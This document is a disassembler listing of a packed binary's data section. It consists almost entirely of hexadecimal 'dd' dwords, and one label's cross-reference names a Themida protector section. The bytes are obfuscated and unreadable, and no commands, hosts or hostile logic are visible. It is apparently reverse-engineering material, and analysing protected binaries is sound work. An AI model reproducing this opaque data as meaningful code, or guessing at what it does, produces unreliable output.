		dd 0FA8F36E9h, 0F61868FFh, 2CE905E7h, 68FFFA8Fh, 5E7F69Ch
		dd 0FA8F22E9h, 0F75068FFh, 18E905E7h, 68FFFA8Fh, 5E7F7E3h
		dd 0FA8F0EE9h, 0F88A68FFh, 4E905E7h, 68FFFA8Fh,	5E7F92Ch
		dd 0FA8EFAE9h, 0FA8768FFh, 0F0E905E7h, 68FFFA8Eh, 5E7FB61h
		dd 0FA8EE6E9h, 0FCB568FFh, 0DCE905E7h, 68FFFA8Eh, 5E7FE30h
		dd 0FA8ED2E9h, 0FFF168FFh, 0C8E905E7h, 68FFFA8Eh, 5E80103h
		dd 0FA8EBEE9h, 0FABE38FFh, 2D696DDCh, 9418C0A1h, 0FEBC3B0Eh
		dd 266C91D0h, 5B6403B8h, 0B3F61CA2h, 0ED5C7A48h, 4227A3EFh
		dd 0CB8B1795h, 485C1DBAh, 88F5F9FFh, 0E9696E42h, 18B90F40h
		dd 3C69C6FCh, 0F8D4A0Dh, 0C76E7FFCh, 0B15D5B9Ch, 0B2B59986h
		dd 0FAD84115h, 7CE35801h, 0AEFDB93Dh, 0A8F19C2Dh, 0F9FAA79Bh
		dd 33764E88h, 3FE62DDEh, 3C4Dh,	7B187100h, 0BCBD1A9Dh
		dd 55FC18B9h, 0B90C4D1Eh, 6EC5FC18h, 31CB46EDh,	46B3D52Ch
		dd 9DF466C3h, 502F01FAh, 206C6ED1h, 9E93FC87h, 8DF9FADDh
		dd 0D9347B4Bh, 763FE677h, 0F2h,	23696E48h, 5E6499D8h, 555384CFh
		dd 0CF0C4F36h, 0A831BAC1h, 6C6A30A9h, 18BD4FFBh, 9D3ABDFCh
		dd 0FC18BDDCh, 0A2AD3E75h, 166B7735h, 0C140DBE1h, 8A53599Eh
		dd 89B8ACB1h, 0FAEEF620h, 26830201h, 0F9FA8C35h, 0A1714BECh
		dd 0F0CE1FD6h, 8FE422BBh, 37BFFE03h, 1AA32873h,	0D5023C21h
		dd 0A4E79AD7h, 0DF1C6F35h, 326830Eh, 0E1041F79h, 7198D97Eh
		dd 0F249F7DEh, 25404E8Fh, 4EF317B0h, 0DE7168E9h, 95C2B9F7h
		dd 642AD392h, 0F9A574E5h, 0AEFDC338h, 46EA2C2Dh, 0DCE01A4Dh
		dd 0EFBB0C49h, 0D653619Ah, 0FE7DA297h, 1AA48F9Ah, 0C6000010h
		dd 3B0E9410h, 6ED3FFBBh, 0C9B8266Ah, 3F02880Eh,	5DEAF0BEh
		dd 0AEF4E9B6h, 149A4120h, 7D41BB8Eh, 0A1E71051h, 6FC83925h
		dd 0F9FF4BEEh, 6EBC7E27h, 6BB276Dh, 0AF4DAC91h,	0D3062EA3h
		dd 0C03DBECDh, 397F78E7h, 7B18D79Dh, 6691D057h,	9EEDAB2Ah
		dd 5085E05Dh, 0B9C788D1h, 211EFC18h, 0BEB01998h, 5101FAD1h
		dd 180831Ah, 0A138399Eh, 92E9F9FAh, 0FAA188C9h,	0D9E259F9h
		dd 0FAA1C370h, 9E96D0F9h, 0E62BB66Bh, 0A354173Fh, 0BA5FC4E5h
		dd 63000000h, 0C98A2FAEh, 18FC18B9h, 22D79A23h,	891E0164h
		dd 0DE2CF21Bh, 0E16079E5h, 0A57B6FCh, 0FC18B17Ch, 810D8B4Ch
		dd 7C7B37A0h, 0ADAE0B3Eh, 64FC18A9h, 7E4BD20Fh,	0DD4AFDD1h
		dd 0CE853B5Ah, 3794851Eh, 0A0AE105Dh, 80296871h, 1FABB16h
		dd 13C4C2B9h, 82275A0Eh, 41FEAF4h, 6ED1502Fh, 0C6BB276Dh
		dd 0DD628F15h, 0DCFE7D4Ah, 0F1BE649h, 0FC90000h, 0BA3A0F8Bh
		dd 6991D0FEh, 0DC8B925h, 0BD3E038Fh, 0B55CEBF7h, 21ADF3E8h
		dd 8F0B9940h, 567C40BAh, 3AA0E613h, 0ED6ECB3Ah,	24F9FF4Ah
		dd 6D6EBD79h, 76612027h, 0A7A83130h, 7EFC18B9h,	9FE2B801h
		dd 1FA5565Ah, 0F4124F8Ch, 23696ECEh, 5A6099D8h,	810DCDBCh
		dd 82783B7Ah, 0ED6EEF3Eh, 491B4960h, 76F9C249h,	0C1C53181h
		dd 275A0E94h, 3062A37h,	0FA2B70A6h, 6CDCAB01h, 4019B7CBh
		dd 7A6EF3F6h, 0D20544C7h, 58AAF3D4h, 4BFC97EBh,	71E6A9FCh
		dd 0E1189B4Dh, 0A0348D3h, 17B034D7h, 0E017315Eh, 0D80043DAh
		dd 0CF04B1D4h, 0C07AEF92h, 2FEE6340h, 1642AD3h,	0C34E9FD4h
		dd 0B1802866h, 92284302h, 72B2F140h, 1A5DCC39h,	8E33DFDDh
		dd 1C3A4B19h, 0BC1D0C54h, 0F52D9CBBh, 7A01D6Ah,	0E6139F58h
		dd 376C30AAh, 5954BDFAh, 7217010Fh, 0E2813h, 8602F400h
		dd 0E9AD2918h, 505C9CEDh, 0BA00F74Ah, 0E2B02D1Ch, 17A84FE4h
		dd 4F32D8E6h, 0A998068Ch, 1E636F33h, 0F37D3D9h,	4DE051F6h
		dd 4C31F9FFh, 23696E8Eh, 0F47C7D3Ch, 18B9E253h,	0F4433FCh
		dd 0C76E7FFCh, 0DE4165EAh, 0FA7BDC5Fh, 30FC18B9h, 18B9A697h
		dd 1A007FFCh, 97339C2Dh, 4E01FAEAh, 66D94EF1h, 33B7F9CAh
		dd 0C4F79334h, 53F46B5Fh, 418618Bh, 0F15EAD9Ah,	0F7DC7D7Ch
		dd 0EA1DE96Fh, 45C8D737h, 5894h, 0A3521500h, 18E6C4E5h
		dd 139F5D7Bh, 13164388h, 0FB057BB6h, 0A2A59201h, 0DA7FF9E3h
		dd 0F9FAF499h, 869FAD45h, 0A1AD6736h, 0D6719DCAh, 0F9FA355Bh
		dd 0AC2A7069h, 9C4F1FDDh, 0CF719BD3h, 82EF212Ah, 0B0B4CB00h
		dd 5885C47Bh, 0C172D74Ah, 10F9FA85h, 98FB825Bh,	0D49h
		dd 577B18A2h, 892E51D0h, 0FC18B9C8h, 0AA35A114h, 50FE9A5Dh
		dd 46A5E911h, 0A60FD815h, 200FDDEh, 44C77A31h, 0F1F364C5h
		dd 5522F9F0h, 8E0CCD74h, 2EB82100h, 295BAD20h, 56B5E252h
		dd 51D0F499h, 0E8084B08h, 57169907h, 498219A5h,	0C8287FF0h
		dd 0D996F7h, 0FBBAAD9Ah, 35DC64FEh, 12218993h, 1F8839A5h
		dd 6D33A84h, 9489102h, 46B3CAD0h, 0DAFC29D9h, 0CB13280Fh
		dd 0B742F354h, 0A493F7C8h, 9B5FF86Fh, 0B20A2ADDh, 325C0ECFh
		dd 644029E0h, 875A21Fh,	0F891B0DBh, 0AA78DBAEh,	7600000Ch
		dd 0AB9E0480h, 1E636F2Bh, 79C8D6DAh, 0AF92387Eh, 0CD7A602Eh
		dd 5E649926h, 840AF1B0h, 0EDB12B1Eh, 515780E1h,	0DF7889B5h
		dd 0F9FF4F9Eh, 0AE0CCEB7h, 7770EAEFh, 705498DFh, 0E04992CFh
		dd 0FC187853h, 23260A17h, 68C186h, 0BA206302h, 852697F6h
		dd 74372A01h, 6AE33A86h, 6A6F2E51h, 16C3A62Ch, 2AAE9190h
		dd 0C5206C6Ch, 0FB825B90h, 3A2D010Eh, 125B499Dh, 6E8BE004h
		dd 0FE799AF7h, 26C4AFFAh, 0F200000Ch, 271A8004h, 9AEFEBAFh
		dd 0F5B4525Eh, 2B1E8402h, 49E6ECB2h, 0DAE815AAh, 8E4D3Ch
		dd 6935A79Ah, 0DDDB1C6Dh, 53F40D31h, 0F9FF4FE2h, 6E887233h
		dd 99D82369h, 64275A60h, 93D22977h, 0DFE82569h,	0D2A224B4h
		dd 40F825Fh, 673293Ah, 0AE1D0000h, 45A0EEEFh, 51FEB710h
		dd 84BCA7Dh, 38BDC8CCh,	31F2221Fh, 8C5D658Eh, 27D323h
		dd 0F275C202h, 298E4AB3h, 0F9F0C728h, 745582F9h, 0F8D4A0Dh
		dd 7339BE83h, 0C7324F28h, 0E976F9F0h, 0D30342C5h, 2E8BF6D7h
		dd 41294B8h, 0C8892E53h, 0C2F7D216h, 0F9728917h, 4CA9E65Dh
		dd 0FE79CF13h, 72C0A3C6h, 3E00000Bh, 93D6FCB8h,	0C6BB2763h
		dd 21008E12h, 97EAF0B6h, 5B25866h, 169C415Eh, 7C42B988h
		dd 0A5E91356h, 98F4839h, 7A0C18Dh, 0F9FF4E56h, 6E44868Fh
		dd 99D82369h, 0B2275A60h, 0FB085E03h, 2C3790B5h, 276A5A8Ch
		dd 3A047AEAh, 5C041h, 0FB886500h, 0BFFC18B9h
		dd 88BBE92h, 0F2098D49h, 0B96FE079h, 0C3A6FC18h, 0C0759016h
		dd 6ACF328Bh, 200A948h,	3A7DEC5Bh, 6ED3FFBDh, 0EFD82369h
		dd 7EDB4E62h, 41D1A68h,	3A4FB483h, 0CDFE7A5Ch, 0ADFD9B8h
		dd 4B8D0000h, 0F6FE434Fh, 0A55514B2h, 498CFD19h, 0F9E24743h
		dd 0F1902FABh, 65612FACh, 0C3CFD504h, 0AA307C7Eh, 7E6422D7h
		dd 0A9AA0F76h, 78F9FF4Eh, 0EFAEF135h, 571AA3E7h, 5E81E4A2h
		dd 60881399h, 469B0EE6h, 0E73A040Fh, 77F52472h,	0ECECD84Dh
		dd 2D526BA0h, 525h, 0EDEFAE11h,	7EDB5AA1h, 0FC18B9FDh
		dd 0D9E25F14h, 0D84F63E0h, 0A9487Fh, 53D6AD02h,	18A1E710h
		dd 9B21D699h, 4F8BCA7Fh, 10D7CA43h, 0E125466Ch,	5A6099D8h
		dd 0B5C966C3h, 808DF9FFh, 0CE1CBDACh, 61041DE6h, 4196ED0Ah
		dd 0F095FE7Bh, 0A3891h,	0B6F2E400h, 199D5928h, 404C8CFDh
		dd 0AAF0E75Ah, 12A05D2Ch, 7987FF4h, 7FC2C8D6h, 0D9A8367Ch
		dd 0E739F23h, 1FC7C3C9h, 411041E6h, 5CC1F9FFh, 23696E9Eh
		dd 71D659D8h, 0FC18B9C0h, 0DE815A11h, 0E0089319h, 0B5FBFEA1h
		dd 0D75A2A14h, 3A040FFAh, 48051h, 0C6889500h, 0B4FC18B9h
		dd 0C584BBAFh, 0FA738A18h, 0AA3FBEE1h, 0E24360C0h, 16C149BDh
		dd 0AB433D5Eh, 9218C100h, 21BCE049h, 64D30200h,	7735A2E5h
		dd 0DBE1166Bh, 0CCEA7740h, 0D44B800Ch, 12943773h, 94116E04h
		dd 0FE79D389h, 9696F98Ch, 42000009h, 0B78A1094h, 0EA5F7B3Fh
		dd 4524A2EEh, 0BB8E1492h, 0D9567C42h, 2A78653Ah, 901EDDACh
		dd 0F9C5370Ah, 2D6B6CDDh, 0E344BDA1h, 0F9FF4072h, 6E38E2A3h
		dd 59D82369h, 4DD8E416h, 47B0BF08h, 2E883A41h, 0A92856h
		dd 0FC18B94Fh, 0D807586h, 4F0BAC8Bh, 5186C912h,	0CC14F4Bh
		dd 0A33A04EBh, 14Ch, 23696E87h,	5A6099D8h, 2D8A0DBCh, 0FC18B92Ch
		dd 138D8EE5h, 8E962C0Eh, 0B2DFA831h, 0CF68EB9Eh, 0FC18EA8Eh
		dd 3753599Ch, 87206F78h, 1FA8BB3h, 41F257EAh, 90F9FACBh
		dd 6EFB6EDBh, 510EBDF1h, 0F9BF3807h, 0EBFC29A2h, 0A54AE740h
		dd 1F59F9FAh, 0A1581B27h, 7A438813h, 0E62B11CCh, 44BE3Fh
		dd 0AE800000h, 0EAA5B939h, 5770A9D7h, 0AADDF19Eh, 0FA5B4D0Dh
		dd 5CAF8401h, 0FA1B7EF3h, 0CA8C4CF9h, 0FA1BEC6Dh, 114E25F9h
		dd 0D914B8Ah, 5C281EFEh, 6617C538h, 1D4A4AD9h, 36794D8Bh
		dd 3FE6BCDBh, 9670h, 0EFAE4A00h, 5807A0EEh, 4382199Fh
		dd 4EF1149Ah, 79F80389h, 6D9C3A80h, 0F4E5AD2Ah,	0A9E657B6h
		dd 31A61952h, 4D09526Bh, 5FFC18E4h, 0C5F61C9Ah,	54F57458h
		dd 1FD4240h, 0ACF0EA5Fh, 0EF3E7C7Dh, 4F0E316Eh,	0A79A008Eh
		dd 2C036836h, 6F045FA3h, 83B3B1Ah, 0EFE90000h, 9A5A2FABh
		dd 49B1F01Eh, 0EDE85945h, 9D5E23AFh, 957C8B17h,	0C1CDD308h
		dd 0AF2B7960h, 769C20DAh, 0DAC0C633h, 0D4EEB1Ah, 0C4F9FF43h
		dd 6D6E9D59h, 99ECAA2Dh, 0A21FA556h, 0DF186975h, 6E373DD9h
		dd 99D82369h, 0E6AA5060h, 86BC2DA9h, 0C6000002h, 9F5D7B18h
		dd 6A3A613h, 1FACAF4h, 6C35502Fh, 0F9FAA8D7h, 56B5F1E5h
		dd 45A0EEEFh, 8DA79FD9h, 0FE16632Dh, 0C8589595h, 9E73B68Eh
		dd 0D3FE670h, 22Eh, 0B9C48831h,	0A9B6FC18h, 80038285h
		dd 18B93627h, 3790EFFCh, 0A9B4EEh, 0E160DF02h, 39B73F7Eh
		dd 0FF49DF90h, 0CC3976F9h, 0A4AB3CB9h, 18697533h, 7542D9DFh
		dd 0E445C4E8h, 41D1C86h, 6038A3E2h, 0A3FA3775h,	3E75912Ah
		dd 7A5BC8F1h, 7FC6A3FEh, 761h, 0C1CDC90Fh, 0AA307460h
		dd 739F23D7h, 0C5C1C70Eh, 0AD297764h, 0AD2E6F16h, 5386FBE7h
		dd 0FAE0414Dh, 0A05928B6h, 0B1F0FC1Ah, 0FF422728h, 77B7FEF9h
		dd 40E9696Eh, 0FC18B90Fh, 0E93C69C6h, 0D02B7166h, 0C4276B91h
		dd 0B97BFC5Dh, 0DDAAFC18h, 0DF2E6A6Ah, 0CF3105A7h, 0C93501ABh
		dd 54588010h, 0BFFF681Fh, 704D5C98h, 5F6397CAh,	2669988Eh
		dd 5992E9AFh, 0D627FA80h, 5F843A04h, 0BE000001h, 40E9696Eh
		dd 0FC18B90Fh, 0E93C69C6h, 0AF2B7166h, 9C83A7ACh, 0FAD85F3Bh
		dd 0EDEAAD01h, 5E1FB8AFh, 0F7F9FAA6h, 8CFB2FB8h, 0A6631079h
		dd 0F670F9FAh, 0C53170FEh, 528F0BCBh, 0E8D8B739h, 0F4D5B4FAh
		dd 0E63B9B76h, 2E303Fh,	180A0000h, 0AF388B7Bh, 5047AF0Fh
		dd 93C3641Bh, 4201FA0Dh, 0C63372F5h, 9730A5C0h,	4D8EA38Ch
		dd 5B9DF9FAh, 7E9246Bh,	0B8463FE7h, 78000000h, 0AE29696Eh
		dd 2968B3E8h, 9E2F7566h, 1642AD3h, 89319DEh, 0C8A10C9h
		dd 190B8FDBh, 3E7C7DFCh, 9CBAA790h, 63E65359h, 0FD3A36C6h
		dd 46B3F201h, 54236740h, 5B6992D5h, 1D9C1F82h, 0FDBDBBBCh
		dd 0CC1D6AF9h, 0D74A5885h, 0BB90F842h, 476088E7h, 0B7FDFE43h
		dd 5F13494Ah, 2A751004h, 60Dh, 7D991DDBh, 0C6CCC80Ch, 0AF2B7763h
		dd 719D1BDAh, 0D9C5CB30h, 1FAC3A2h, 0A75217B3h,	4E8CFD19h
		dd 0F4E54442h, 0DD2428B6h, 0FF45FB7Ch, 0A36B2AF9h, 0BB276D6Eh
		dd 0D9E49106h, 172B4277h, 84DD8E6h, 92470AD3h, 0BE841514h
		dd 0B79EF570h, 0A3622435h, 8917F209h, 0AE6C6A30h, 4A0BAC2Fh
		dd 9BFC18B9h, 0B9DA9BACh, 3C0BFC18h, 7533A4ABh,	662AAF16h
		dd 9EDF2E72h, 1ABF3E21h, 0FC18B959h, 7C2AB388h,	24EDh
		dd 696E1100h, 6099D823h, 801BA950h, 878F1E4Bh, 0D445F1C5h
		dd 0A7A010A7h, 0C339465h, 80C1CDCBh, 24h, 0E8EFAEBAh, 0A15619A2h
		dd 61A0E611h, 60D53076h, 0FB77D02Bh, 0A6FC18B9h, 0FFBD387Bh
		dd 229064EEh, 0EDEBF7B5h, 0C98A2FAEh, 18FC18B9h, 60E433FFh
		dd 87FC194Fh, 528DF596h, 775032C7h, 58830FC8h, 318E1D4Ah
		dd 8609382Ch, 78B1A207h, 0B60FC18h, 6B8369B2h, 0B5820200h
		dd 62A633B2h, 17678D24h, 911DDD0Ch, 79F8C10Ah, 6D9C3A80h
		dd 0DAAB41FCh, 3B8CD40Bh, 8CFC334h, 0F9365582h,	4EF17054h
		dd 0DB1088D9h, 0D0E9FB2Eh, 0E84FCA77h, 35340307h, 840AF3B2h
		dd 6CD3F461h, 0C328F16Bh, 0BF321C6Bh, 0FB5CDF42h, 0F7C8087Ah
		dd 0E1048870h, 904DEE74h, 0E0E4AB34h, 0D5B10A47h, 0C6256394h
		dd 0C14064E9h, 2AD07278h, 51DE950Ah, 0F8925A9Ch, 922B0A1Fh
		dd 5E000004h, 0B3F61C98h, 0E65B4743h, 4120AEF2h, 0B78A1096h
		dd 25527846h, 367C613Eh, 9C22D9A8h, 0C5C93376h,	296F68D9h
		dd 0E740A1ADh, 0F9FF4776h, 6E24E6AFh, 2A72369h,	0B10A9843h
		dd 3843498Eh, 0C77A40B9h, 7F485484h, 281C5ED4h,	1E9C5B1Ah
		dd 575582CDh, 246A91D0h, 78F95EC1h, 0A9FC18B9h,	464465D2h
		dd 41305D8h, 793FA83Ah,	69A643h, 5F1C815Ah, 26000000h
		dd 3C9D7B18h, 0FC18B93Bh, 41F257EAh, 90FC18B9h,	0E316EDBh
		dd 0FB0556A9h, 41C0BF01h, 51D0DC1Eh, 216D6F2Eh,	87C891DAh
		dd 5EF9FAF4h, 99C2D8E1h, 0F9FAF4E6h, 0E26523D4h, 0EBB92063h
		dd 51025B90h, 80F9FAF4h, 0F57412ABh, 654642B2h,	0D17600FAh
		dd 0F9FAF460h, 7E8DFAB1h, 3C017h, 696E2F00h, 6099D823h
		dd 96BBBC5Ah, 12B743B8h, 0FC18B921h, 114EBBF0h,	0CB6CEF6Eh
		dd 0FC18B98Ah, 0B976E740h, 0D0AFFC18h, 83ECFD4Ah, 1FAD8B7h
		dd 2D0A91EEh, 0F9FAA610h, 0BEF1C503h, 3FE62E63h, 28C8h
		dd 7B18F200h, 0C777D057h, 501FAD1h, 0D6099742h,	0DB4F9824h
		dd 330196Ch, 10F9FAA1h,	76ABDED6h, 0D53FE62Bh, 0D6h, 8A2FAEE9h
		dd 0FC18B9C9h, 0D79A2318h, 0A2E56422h, 0A6177632h, 6F77E05h
		dd 0F5E26DB8h, 0ECED54B7h, 83A720AEh, 0A1FC18BDh, 15547238h
		dd 6A47A6E4h, 1F5EC1E5h, 348D3D7h
		dd 30D277BAh, 6301FAD3h, 35921514h, 0F9FA9804h,	0B42366DDh
		dd 631D5F6h, 0B3323519h, 0EE038126h, 19A21401h,	1F7162B0h
		dd 8BBEF504h, 568713C8h, 43B83D48h, 61F9E247h, 0DE6897D8h
		dd 84F14EF7h, 7DA7707Fh, 5F2643FEh, 2D1h, 0B15D599Fh, 1A8004F0h
		dd 0E3EFB327h, 0B551579Eh, 1DB907F4h, 3DBEFFE6h, 0E3166B77h
		dd 8A7031DDh, 30A99806h, 1606C6Ah, 0FF46B7B8h, 0E7276EF9h
		dd 20276D6Eh, 0BA3F7961h, 0F72CA9FCh, 0E1AD2D94h, 0C3E4519Ah
		dd 377562C7h, 0C8C7130h, 3790CDCBh, 2FAE9553h, 18B9C98Ah
		dd 9A2318FCh, 9988BCA1h, 0FAD13E30h, 4E8BCA01h,	5C2B7F48h
		dd 0A1D360C9h, 0FBE1F9FAh, 0EEED54B7h, 0A18CCD6Ah, 0EE45F9FAh
		dd 0C4826AB1h, 0FE7888F0h, 2B4E8306h, 7CFF3FE6h, 0FAAD9ADBh
		dd 0EBFC4BF9h, 0BAA6h, 29B62300h, 0F1806698h, 6ED09637h
		dd 0BD3C2369h, 18B95B1Ch, 0E6AC51FCh, 73C85687h, 5B80C36Ah
		dd 0DD693655h, 0EFFC18BDh, 6F35A6EAh, 6462DF1Ch, 0B7D6D405h
		dd 4EF1D57Ah, 0FAD339E9h, 0F7136801h, 0F46B5FC4h, 1F48DC53h
		dd 0C77A3104h, 26835784h, 0F7DE6835h, 7BFC5DECh, 0AAF7DE68h
		dd 342B60DDh, 0E2398575h, 0F74A5069h, 5E73B806h, 49FE7DA7h
		dd 1BF553Ch, 6B6D0000h,	16DEA32Fh, 0C5357492h, 696CDDF9h
		dd 19C2A723h, 11F00F8Bh, 45414F8Ch, 23AFF5E4h, 8A109C5Eh
		dd 5E4442B7h, 89CA6F96h, 58F9F0B8h, 39AE11D5h, 0A25B649Ah
		dd 3B477B1Ch, 43B8A700h, 0E710517Dh, 6E3F25A1h,	99D82369h
		dd 0CDBC5A60h, 4A56840Ch, 3E4DBA33h, 0F9685CC1h, 0FAC0B650h
		dd 9BE25901h, 0F541353Fh, 0C0838604h, 55598119h, 7F488D18h
		dd 8FA3A0ABh, 9F23D998h, 6098CF0Ch, 0A3048B5Ch,	418C333h
		dd 515D9FE2h, 995E81E4h, 64D1D7CFh, 0BAEDF63Ah,	0A22B723Eh
		dd 2A6C1675h, 0D1F59A5Ah, 3FC909AEh, 80030A3Eh,	0B6971BC1h
		dd 0EDBFBF85h, 40C6E75Ch, 5D9AEFEBh, 76D3A555h,	0EDBFBFC5h
		dd 93EA271Ch, 579EED5Ah, 0A0E613A5h, 0BF5718A1h, 0B18EEDBFh
		dd 9FD92144h, 21D89BA7h, 0D2074A93h, 0E91255D4h, 2B6026D1h
		dd 206691D0h, 825B90C5h, 9A4ED384h, 6337A4E7h, 64D1347Ah
		dd 0B8FCF82Fh, 50DFE86Dh, 5DC6EFF7h, 98432610h,	0EBAADD0Ah
		dd 1358A3EFh, 0A1E0A3CAh, 0E8577036h, 7733A3EFh, 5D07E33Ah
		dd 0C2E66B69h, 0FC5DDC5Fh, 0EB91B47Bh, 81B217AAh, 50EB91B4h
		dd 0B41DAE1Bh, 1673CD2Ah, 57008EE5h, 0C663E6CAh, 1F6BBFE6h
		dd 15994302h, 0E81356B4h, 0DD0A43DAh, 5084C74Eh, 0BF38399Eh
		dd 92E9DF4Bh, 1CDD8425h, 0EF246094h, 53599EE3h,	0E49D6FC8h
		dd 69E81ED6h, 9DE8B426h, 0EFC78F58h, 4A505683h,	618402F7h
		dd 6AB1F7FEh, 84F2C28Ch, 0F8495553h, 65D673FFh,	6798D896h
		dd 64D13472h, 0D55481FEh, 0C4276592h, 442F3697h, 0Dh, 0A726A77Eh
		dd 18B95102h, 12AB80FCh, 2C686E54h, 5B6196D9h, 575B81C0h
		dd 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h
		dd 8307CF76h, 8956F278h, 4C681E6h, 83000000h, 343304EEh
		dd 24343124h, 5C243433h, 81E78957h, 4C7h, 4EF8100h, 87000000h
		dd 895C243Ch, 1168242Ch, 8900002Ch, 8868243Ch, 8900000Ch
		dd 56B9240Ch, 8905E7F1h, 5C6859CDh, 8900007Ch, 4812424h
		dd 424h, 0EC815F00h, 4,	8F242C89h, 34FF0847h, 0C4815F24h
		dd 4, 56242C8Bh, 0C681E689h, 4,	8704C683h, 0E95C2434h
		dd 0FFFA7CABh, 0C73CB44Dh, 2E7A3DF3h, 0E802E7B8h, 0FFC50305h
		dd 0C53A8CE0h, 647C2169h, 343EC253h, 5F91AE40h,	0EC8A090Bh
		dd 7E4FFB5Eh, 5998D253h, 0A2452A5Dh, 4FBBCC6Ah,	0D5F8E556h
		dd 0B336FE37h, 83D8AB6Fh, 43144E53h, 74CEAD77h,	0F2D3F311h
		dd 6E31031Dh, 0DE0E6C32h, 0CCAB563Eh, 0DEA6DD0Bh, 0E00DBD46h
		db 6Ah
byte_54E081	db 2 dup(8Dh), 0B1h	; DATA XREF: Themida_:004EEB5Co
		dd 8905E804h, 0E20EA585h, 0E98D8905h, 6A05E20Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0A60AC352h, 0C7B2C51Ch, 0E2076185h, 598005h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 5858B58h, 0C705E231h, 0E21B5585h, 5,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0ACA07C26h, 962B5C64h, 0EE9B9h, 0A7580000h, 0C4542A8Ah
		dd 610727E2h, 775DC38Ch, 28A0Fh, 0FE8B0000h, 3045B5FFh
		dd 8B6605E2h, 1595FFDEh, 6A05E20Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0D379C352h
		dd 79858922h, 8B05E213h, 0E21041B5h, 0FF006A05h, 0E20AB995h
		dd 0EBC08B05h, 7F151F0Ch, 4A80CF7Eh, 0A0D95206h, 268D8D23h
		dd 6005E805h, 6887E881h, 8D89733Ah, 5E21369h, 0E98D8961h
		dd 0C705E20Bh, 0E2076185h, 6B1405h, 0F98B6600h,	1B5585C7h
		dd 5E2h, 830F0000h, 8, 2850Fh, 0FD8A0000h, 1D05B5FFh, 95FF05E2h
		dd 5E20B15h, 871958Bh, 820F05E2h, 6, 118D9D89h,	6A05E2h
		dd 0AB995FFh, 0C08B05E2h, 2B3E6CEBh, 421E3578h,	49B0A9C7h
		dd 50D327FEh, 0D97E01DCh, 8C27D1C4h, 0A11E3249h, 663CC5EEh
		dd 0E55A3607h, 9500E97Ch, 747E228Bh, 14A014FFh,	0F6EC19A3h
		dd 0A48CC1Fh, 0B2C51CA6h, 0B87043F0h, 4518081Bh, 23E42FF4h
		dd 0B957863Bh, 326C5F6Eh, 0C2375D03h, 7139A374h, 0B0739AA4h
		dd 2E049393h, 0D1C6E24h, 50160E6Bh, 45DA41B9h, 79EB2CBEh
		dd 0EF9E7D00h, 0FE2218Ch, 9FABAFD6h, 7C4DB297h,	95B7E3h
		dd 0E9A9E572h, 9BB69CB5h, 0B6F37760h, 9EB794A9h, 7D60D760h
		dd 9EA9BD89h, 729EBD8Ch, 4A95ACE3h, 9BB98B20h, 9D89937Eh
		dd 0AFF496B9h, 94A19E96h, 91A7D6B5h, 48D100FDh,	33594ACCh
		dd 5200713Ch, 0F357DB4Dh, 9BB7D65Eh, 0AFF600B7h, 9F8995ABh
		dd 7156F000h, 0BEB3D7C7h, 56711800h, 0E2ADC4D7h, 9A33E773h
		dd 0F6CE93Dh, 0F7680000h, 0E905E807h, 0FFFA79F3h, 0E808EE68h
		dd 79E9E905h, 0EA68FFFAh, 0E905E809h, 0FFFA79DFh, 0E80B2268h
		dd 79D5E905h, 0C068FFFAh, 0E905E80Bh, 0FFFA79CBh, 0E80C4C68h
		dd 79C1E905h, 0E968FFFAh, 0E905E80Ch, 0FFFA79B7h, 0E80D9268h
		dd 79ADE905h, 9968FFFAh, 0E905E80Eh, 0FFFA79A3h, 0E80FA668h
		dd 7999E905h, 0FB68FFFAh, 0E905E810h, 0FFFA798Fh, 0E8131868h
		dd 7985E905h, 68FFFAh, 0E905E814h, 0FFFA797Bh, 198501F7h
		dd 0E2E8AC28h, 4B575B9Fh, 1DB9FFF6h, 0E5E1AF2Ch, 0E516A74Eh
		dd 8B4E33DFh, 32A89905h, 0D801606Eh, 0F90834D2h, 0F0BF1F50h
		dd 8F4F36F9h, 0D823696Eh, 0BC5A6099h, 8FB296BBh, 0FAD84C2Ah
		dd 9DE84701h, 0FAA7BFB4h, 4C4A8DF9h, 7442B639h,	6FEC3F85h
		dd 400AEB32h, 7AFC0C74h, 2DCA078Ah, 2F613FE6h, 45000000h
		dd 0D0577B18h, 0FAD1C777h, 0DA211E01h, 0FAA1C07Dh, 1352D3F9h
		dd 0DA45A0E6h, 0FAA1FC7Dh, 0E15E15F9h, 63A69ED8h, 3FE62BAEh
		dd 1021Dh, 0EFAE2100h, 1045A0EEh, 0BC04EF07h, 862737A4h
		dd 0D981EDBh, 948B19C2h, 446521D5h, 7B41B639h, 485685C4h
		dd 6C6DD47Fh, 327A02Eh,	0E1FC1807h, 57703CBEh, 0B6A9EFE8h
		dd 7A19237h, 30ABFC18h,	0B4D21B62h, 127EA23h, 0C73CCC4Fh
		dd 1E8120E6h, 189CB8B9h, 0AF1269FCh, 0DC196C2Ah, 1593440Bh
		dd 0FA1439F6h, 189C1C5Dh, 17E35FCh, 169C5F1Eh, 88CB4AB5h
		dd 7DDA4D53h, 0FC189CFCh, 248D5E15h, 1FACFEAh, 1C9A5F1Eh
		dd 7CDD4C89h, 0F9FAEFFBh, 1E8C5D2Ah, 9304A521h,	4C7B21D4h
		dd 0C5BE0F27h, 54F57458h, 41F60D5h, 5B6990D3h, 382F0482h
		dd 0EE3D8179h, 92D55C6Dh, 0CABF5B69h, 4E668311h, 1DFE7DD6h
		dd 0CD82908h, 5F990000h, 0ACABF5Bh, 0B921008Eh,	5D98E9F5h
		dd 0DCEB35Fh, 5EC1B87h,	517D43B8h, 3FDBE910h, 860C904Ah
		dd 6A7036A3h, 0BDBE1B6Ah, 54F9F0BEh, 6D6EED29h,	11C6BB27h
		dd 18410F8Bh, 51D0577Bh, 1AA3E9EEh, 0FAD181B1h,	641B5001h
		dd 0C9CF38F3h, 0FA9DEF60h, 0C04926F9h, 1AA3F140h, 0B9191673h
		dd 0CC0AF9FAh, 19DD4AF8h, 42F35458h, 93F9FA20h,	0E1D3B3A4h
		dd 0EA274364h, 433FE653h, 0C0D283D6h, 0A8310B4Eh, 0AE6Bh
		dd 696E5F00h, 6499D823h, 0C462CF5Eh, 0E4FC18BDh, 9829B5F3h
		dd 0BDBFB019h, 1956FC18h, 525881C0h, 7D51FECBh,	0EE356DCAh
